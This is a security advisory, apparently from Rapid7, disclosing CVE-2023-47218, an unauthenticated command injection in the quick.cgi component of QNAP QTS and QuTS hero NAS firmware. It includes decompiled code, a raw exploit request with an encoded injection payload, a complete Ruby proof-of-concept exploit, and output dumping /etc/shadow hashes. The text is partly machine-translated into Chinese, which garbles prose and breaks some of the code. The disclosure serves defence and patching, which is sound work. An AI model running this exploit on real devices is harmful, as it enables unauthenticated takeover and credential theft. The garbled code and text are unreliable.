Last updated at Tue, 13 Feb 2024 16:00:00 GMT

Rapid7在QNAP操作系统中发现了一个未经身份验证的命令注入漏洞 QTS and QuTS hero. QTS是用于许多QNAP入门级和中级网络附加存储(NAS)设备的固件的核心部分, QuTS hero是众多QNAP高端和企业NAS设备固件的核心部分. The vulnerable endpoint is the quick.cgi 组件,由设备的基于web的管理功能公开. The quick.cgi 组件存在于未初始化的QNAP NAS设备中. 该组件旨在在手动或基于云的QNAP NAS设备供应期间使用. 设备成功初始化后 quick.cgi component is disabled on the system.

对未初始化的QNAP NAS设备进行网络访问的攻击者可能会执行未经身份验证的命令注入, 允许攻击者在设备上执行任意命令.

Credit

这个漏洞是由Stephen less发现的, Rapid7的首席安全研究员,并根据Rapid7的披露 vulnerability 信息披露政策.

供应商声明

CVE-2023-47218已经在多个版本的QTS、QuTS英雄和QuTScloud中得到解决. QNAP优先考虑安全性, 积极与Rapid7等受人尊敬的研究人员合作,及时解决和纠正漏洞, ensuring the safety of our customers. For more information, please see: http://www.qnap.com/en/security-advisory/qsa-23-57

追求卓越, QNAP(质量网络设备提供商)提供包含软件开发的整体解决方案, 硬件设计, 以及内部制造. 不仅仅是存储, QNAP envisions NAS as a robust platform, 促进基于云的网络为用户无缝托管和推进人工智能分析, 边缘计算, and data integration on their QNAP solutions.

Remediation

QNAP于2024年1月25日发布了此漏洞的修复程序. 根据QNAP,以下版本修复了该问题:

  • QTS 5.1.x - Fixed in QTS 5.1.5.2645楼20240116 and later
  • 英雄h5.1.x - Fixed in 英雄h5.1.5.2647楼20240118 and later

For more details please read the QNAP安全咨询.

QNAP提供了以下补救指南:

确保您的QNAP NAS安全, 我们建议定期将系统更新到最新版本,以便从漏洞修复中受益. 你可以查看 产品支持状态 查看您的NAS型号可用的最新更新.

Analysis

在我们的分析中,我们的目标是基于QTS的固件版本5.1.2.2533 for a QNAP TS-464 NAS device. 我们使用以下步骤提取文件系统:

user@dev: ~ /接下来/ $ ls
TS-X64_20230926-5.1.2.2533.zip
#解压缩固件.
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip 
Archive: TS-X64_20230926-5.1.2.2533.zip
  inflating: TS-X64_20230926-5.1.2.2533.img  
user@dev: ~ /接下来/ $ ls
TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.zip
#使用qnap-qts-fw-cryptor工具解密固件.
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
Signature check OK, model TS-X64, version 5.1.2
Encrypted 1048576 of all 220239236 bytes
[99% left]
[99% left]
[99% left]
...snip
[02% left]
[00% left]
[00% left]
user@dev: ~ /接下来/ $ ls
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
# Recreate the root file system.
user@dev:~/qnap/$ mkdir firmware
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.提取/ cpio-root /

反编译 /home/httpd/cgi-bin/quick/quick.cgi binary, we can see a function switch_os can be called 如果HTTP参数名为 func has a value switch_os.

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 Input; // rax
  __int64 input; // rbp
  _BOOL4 v5; // ebx
  __int64 func_param; // rax
  __int64 func_param_; // r12
  bool v8; // zf
  unsigned int v9; // ebp
  __int64 todo_param; // rbx

  sub_415C82(1LL, a2, a3);
  dword_630794 = sub_415F8B();
  dword_630790 = sub_415F41();
  dword_63079C = sub_415F1E();
  Input = CGI_Get_Input();
  input =输入;
  if ( Input )
  {
    func_param = CGI_Find_Parameter(Input, (char *)"func");
    Func_param_ = func_param;
    If (func_param)
    {
      v8 = strcmp (*) (const char * * (func_param + 8),“主要”)= = 0;
      v5 = !v8;
      if ( v8 )
      {
        v9 = rand();
        puts("301 Moved Permanently");
        printf("Location: /cgi-bin/quick/html/index.html?数= % d \ n ", v9);
        return v5;
      }
      if ( !CGI_Find_Parameter(input, "todo") )
        goto LABEL_6;
      todo_param = CGI_Find_Parameter(input, "todo");
      if ( !比较字符串(*)(const char * * (func_param_ + 8),“switch_os”))
      {
        if ( (unsigned int)switch_os(*(_QWORD *)(todo_param + 8), input) ) // <---

The switch_os function will call a function uploaf_firmware_image 如果HTTP参数名为 todo 的值为 uploaf_firmware_image.

__int64 __fastcall switch_os(const char *todo_param, const char *input)
{
  __int64 os_name_param; // rax
  __int64 v3; // rbx
  FILE *v4; // rax
  FILE *v5; // rbp
  const char *v6; // rax
  char *v7; // rbp
  __int64 v8; // rdx
  __int64 result; // rax
  __int64 v10; // rdx
  char os_name[32]; // [rsp+0h] [rbp-38h] BYREF

  memset(os_name, 0, sizeof(os_name));
  os_name_param = CGI_Find_Parameter((__int64)input, "os_name");
  If (os_name_param)
    strncpy(os_name, *(const char **)(os_name_param + 8), 31uLL);
  if ( !strcmp(todo_param, "uploaf_firmware_image") )
  {
    v3 = uploaf_firmware_image(); // <--- 

在函数中 uploaf_firmware_image, we can see a helper function CGI_Upload 是用来读取一个值从CGI请求到一个局部变量称为 file_name below.

__int64 uploaf_firmware_image()
{
  //...snip...
  if ( (unsigned int)CGI_Upload((__int64)"/mnt/update", 0LL, (__int64)file_name) ) // <---
    返回json_pack (
             “{si si ss}”,
             4341610LL,
             200LL,
             “error_code”,
             4LL,
             “error_message”,
             "upload full_path_filename fail.");
  sprintf(file, "%s/%s", "/mnt/update", file_name); // <---
  if ( chmod(file, 436u) < 0 )
    返回json_pack (
             “{si si ss}”,
             4341610LL,
             200LL,
             “error_code”,
             5LL,
             “error_message”,
             "upload full_path_filename fail.");
  if ( !fork() )
  {
    V2 = open("/dev/null", 2);
    if ( v2 != -1 )
    {
      close(0);
      dup2(v2, 0);
      close(1);
      dup2(v2, 1);
      close(2);
      dup2(v2, 2);
      close(v2);
    }
    sprintf(buf266, "echo 0 > %s", "/tmp/update_process");
    系统(buf266);
    sprintf(buf266, "/usr/share/updater/update_fw -f \"%s\"", file); // <---
    if ( system(buf266) ) // <--- command injection.
    {
      Set_Private_Profile_Integer("Switch OS", "Step00 Status", 7LL, "/tmp/quick_tmp . sh ".conf");
    }

We can see above that the value extracted by CGI_Upload 将用于构造一个操作系统命令,然后将该命令传递给对 system 要执行命令. 如果攻击者可以在文件名字符串中提供双引号字符, 可以实现命令注入漏洞.

要理解攻击者是如何做到这一点的,我们必须检查 CGI_Upload from the \ usr \ lib \ libuLinux_fcgi.so.0.0 binary. CGI_Upload will call cgi_save_file_ex 从POST请求的多部分表单数据中提取几个字段.

__int64 __fastcall cgi_save_file_ex(__int64 a1, char *a2, int a3)
{
// ...snip...
  CGI_Get_Http_Info (&dest);
// ...snip...
        strtok (v36”;“);
        strtok(0会”、“);
        v18 = strtok(0LL, "\n");
        if ( v18 )
          snprintf(v36, 0x1000uLL, "%s", v18);
        strtok (v36 " \ ");
        v19 = strtok(0LL, "\"");
        if ( v19 )
          Strncpy (a2, v19, n);
        if ( dest.useragent_type == 3 ) // <---
          trans_http_str((__int64)a2, (__int64)a2, 1LL); // <---

The call to CGI_Get_Http_Info 在函数的开头,将检索有关请求的一些元数据. 提取表单字段值(为了简洁,我们省略了这里的大部分逻辑). When storing an extracted field value, 对请求的元数据进行检查, 如果用户代理的枚举值为3, 对…的特别召唤 trans_http_str will occur. 这个函数 trans_http_str will URL decode any value we pass it, e.g. %22 will be decoded to a double quote character. 这将允许攻击者转义函数中的命令字符串 uploaf_firmware_image and achieve command injection.

要理解为什么元数据的用户代理类型可以设置为3,我们可以检查这个函数 CGI_Get_Http_Info,如下所示.

CGI_Get_Http_Info (struct_dest *dest)
{
  // ...snip…
  v10 = (const char *)QFCGI_getenv("HTTP_USER_AGENT");
  v11 = v10;
  if ( !v10 )
  {
LABEL_29:
    dest->useragent_type = 0;
    goto LABEL_16;
  }
  if ( strstr(v10, "Safari") )
  {
    dest->useragent_type = 7;
    goto LABEL_16;
  }
  if ( !strstr(v11, "MSIE"))
  {
    if ( strstr(v11, "Mozilla") )
    {
      if ( strstr(v11, "Macintosh") )
        dest->useragent_type = 3; // <---
      else 
        dest->useragent_type = strstr(v11, "Linux") == 0LL ? 4 : 6;
      goto LABEL_16;
    }
    goto LABEL_29;
  }

我们可以看到,如果HTTP请求的用户代理同时包含字符串“Mozilla”和字符串“Macintosh”, then the user agent type will be set to 3.

因此,我们可以使用如下所示的HTTP POST请求来利用此漏洞:

POST /目录/快速/快.cgi?func = switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
内容长度:164
内容类型:多部分/格式;边界=“avssqwfz”

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
内容类型:文本/平原

skfqduny
--avssqwfz–

Note the use of the URL encoded double quote %22 to perform the command injection, 然后执行base64编码的命令(在上面的示例中为“id”). Finally, 我们可以看到请求的用户代理是“Mozilla Macintosh”,以启用多部分表单字段的URL解码.

概念验证利用

下面是一个Ruby概念验证漏洞,称为 qnap_hax.rb 这可以用来成功地利用一个脆弱的目标.

需要“optparse”
需要“base64”
需要“套接字” 

def log(txt)
  $stdout.puts txt
end

def rand_string(兰)
  (0...len).map {'a'.Ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)
  s = TCPSocket.打开(ip、端口)
  
  s.write(data)
  
  result = ''
  
  While line = s.gets
    result << line
  end
  
  s.close

  返回结果
end

Def hax_single_command(ip, port, cmd, read_output=true, output_file_name='a')

  payload = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d)"

  如果read_output
    payload << ">#{output_file_name}"
  end

  payload << ")\""

  payload.gsub!("\"", '%22')
  payload.gsub!(";", '%3B')

  if payload.length > 127
    [-]错误,命令太长(#{payload . log).length}), must be < 128 bytes."
    return false
  end
  
  边界= rand_string(8)
  
  TXT = "- #{边界}\r\n"
  txt << "Content-Disposition: form-data; #{rand_string(8)}=\"field2\"; #{rand_string(8)}=\"#{payload}\"\r\n"
  txt << "内容类型:文本/平原\r\n"
  txt << "\r\n"
  txt << "#{rand_string(8)}\r\n"
  txt << "--#{boundary}--\r\n"

  body  = "POST /目录/快速/快.cgi?func = switch_os&todo=uploaf_firmware_image HTTP/1.1\r\n"
  body << "Host: #{ip}:#{port}\r\n"
  body << "User-Agent: Mozilla Macintosh\r\n"
  body << "Accept: */*\r\n"
  body << "Content-Length: #{txt.bytesize} \ r \ n”
  body << "Content-Type: multipart/form-data;boundary=\"#{boundary}\"\r\n"
  body << "\r\n"
  body << txt

  result = send_http_data(ip, port, body)
  
  if result&.match? /HTTP\/1\.\d 200 OK/
    log "[+] Success, executed command: #{cmd}"
  else
    log "[-] Failed to execute command: #{cmd}"
    log result
    
    return false
  end
  
  如果read_output

    result = send_http_data(ip, port, "GET /cgi-bin/quick/#{output_file_name} HTTP/1.1\r\nHost: #{ip}:#{port}\r\nAccept: */*\r\n\r\n")
    
    if result&.match? /HTTP\/1\.\d 200 OK/

      Found_content = false
      
      result.lines.各做一行
        If line == "\r\n"
          Found_content = true
          next
        end
        
        如果是found_content,日志行 
      end    
    else
      log "[-] Failed to read back output."
      log result
      
      return false
    end
  end

  return true
end

def hax(选项)

  日志”[+]的目标:#{选项(ip):}: #{选项(港口):}”

  Output_file_name = 'a'

  return unless hax_single_command(options[:ip], 选项(港):, 选项(cmd):, true, output_file_name)
  
  return unless hax_single_command(options[:ip], 选项(港):, "rm -f #{output_file_name}", false, output_file_name)
  
  return unless hax_single_command(options[:ip], 选项(港):, 'rm -f /mnt/HDA_ROOT/update/*', false, output_file_name)
end

options = {}

OptionParser.新选项
  opts.banner = "用法:hax1 ..rb[选项]”

  opts.on("-t", "——target target ", " target IP") do |v|
    Options [:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    Options [:port] = v.to_i
  end  
  
  opts.on("-c", "——cmd COMMAND", " COMMAND to execute") do |v|
    Options [:cmd] = v
  end
end.parse!

除非选项.key? :ip
  log '[-]错误,您必须传递目标IP: -t target '
  return
end

除非选项.key? :port
  log '[-]错误,你必须传递一个目标端口:-p port '
  return
end

除非选项.key? :cmd
  log '[-]错误,你必须传递一个命令来执行:-c command '
  return
end

[+]正在启动..."

hax(options)

[+]完成."

Exploitation

To verify this vulnerability, after manually extracting the firmware, 我们使用QEMU模拟器来运行内置的web服务器. 作为脆弱的组成部分 quick.cgi is present in an uninitialized system, we manually enabled the feature, 允许远程攻击者通过HTTP访问易受攻击的CGI脚本.

模拟固件

我们执行以下步骤来运行内置web服务器 _httpd_ via QEMU, and enable the vulnerable quick.cgi component.

user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.提取/ cpio-root /
#将qemu-x86_64-static二进制文件拷贝到根文件系统文件夹.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.提取/cpio-root$ cp $(其中qemu-x86_64-static) .
#通过QEMU运行_thttpd_.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
# Verify the HTTP server is running.
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.解压/cpio-root$ sudo netstat -lnp | grep 8080
TCP 0 0 0.0.0.0:8080            0.0.0.0:*               LISTEN      1195417/./qemu-x86_ 
# Drop to shell by QEMU...
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
# Enable the component quick.cgi
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
# Fix a linker issue with QEMU.
sh-3.2 .执行rm /lib/ libl命令.so.200
sh-3.2# ln -s /lib/ libl -3.so.200.24.0 /lib/libnl-3.so.200
该文件夹将存在于包含硬盘驱动器的NAS设备中.
sh-3.# mkdir /mnt/HDA_ROOT

Run the PoC

最后,为了验证漏洞,我们在远程机器上运行了利用脚本 qnap_hax.rb 攻击远程目标,并成功执行任意操作系统命令.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c id
[+] Starting...
[+]目标:192.168.86.42:8080
[+] Success, executed command: id
Uid =0(admin) gid=0(administrators) groups=0(administrators),100(everyone)
[+] Success, executed command: rm -f a
[+]成功,执行命令:rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

>ruby qnap_hax.rb -t 192.168.86.42 -p 8080 -c "cat /etc/shadow"
[+] Starting...
[+]目标:192.168.86.42:8080
[+] Success, executed command: cat /etc/shadow
admin:$1$$CoERg7ynjYLdj2j4glJ34.:14233:0:99999:7:::
客人:$ 1 $ $ ysap7EeB9ODCtO46Psdbq /: 14233:0:99999:7:::
[+] Success, executed command: rm -f a
[+]成功,执行命令:rm -f /mnt/HDA_ROOT/update/*
[+] Finished.

Rapid7客户

从2月13日起,InsightVM和expose客户将可以使用CVE-2023-47218的未经身份验证的漏洞检查, 2024年内容发布.

Timeline

  • 2023年11月9日: Rapid7与QNAP产品安全事件响应小组(PSIRT)进行初步联系.
  • 2023年11月13日: Rapid7为QNAP提供详细的技术咨询.
  • 2023年11月27日: Rapid7为QNAP提供了一个独立的概念验证漏洞.
  • 2023年12月5日: QNAP确认报告发现并将CVE-2023-47218分配给该漏洞. Rapid7建议将2024年1月8日作为协调的披露日期.
  • 2023年12月7日: Vendor informs Rapid7 they are looking to complete fixes by the end of January; they request an extension to February 7, 2024年披露.
  • 2023年12月7日: Rapid7同意将2024年2月7日作为协调披露日期,并要求QNAP审查我们的报告 信息披露政策. Rapid7还强调了协调披露意味着补丁, advisories, 并同时发布其他漏洞细节, without 默默的打补丁 安全问题.
  • 2023年12月13日: Rapid7 requests that vendor re-confirm timeline; vendor confirms February 7, 2024年披露, acknowledges Rapid7’s 信息披露政策.
  • 2023年12月18日: Rapid7 requests additional information about vendor-supplied mitigation guidance and affected products; vendor sends additional info to Rapid7.
  • January 8, 2024 - January 10, 2024: Rapid7请求更新和附加信息.
  • January 25, 2024 - January 26, 2024: 供应商联系了Rapid7,并告知我们他们已经发布了针对此漏洞的补丁. 供应商要求Rapid7等到2024年2月26日再公布我们的披露. Rapid7要求提供进一步资料,说明尽管以前进行了沟通,但为何没有协调披露工作. QNAP和Rapid7讨论并同意于2024年2月13日联合发布咨询.
  • 2024年2月13日: 这种披露.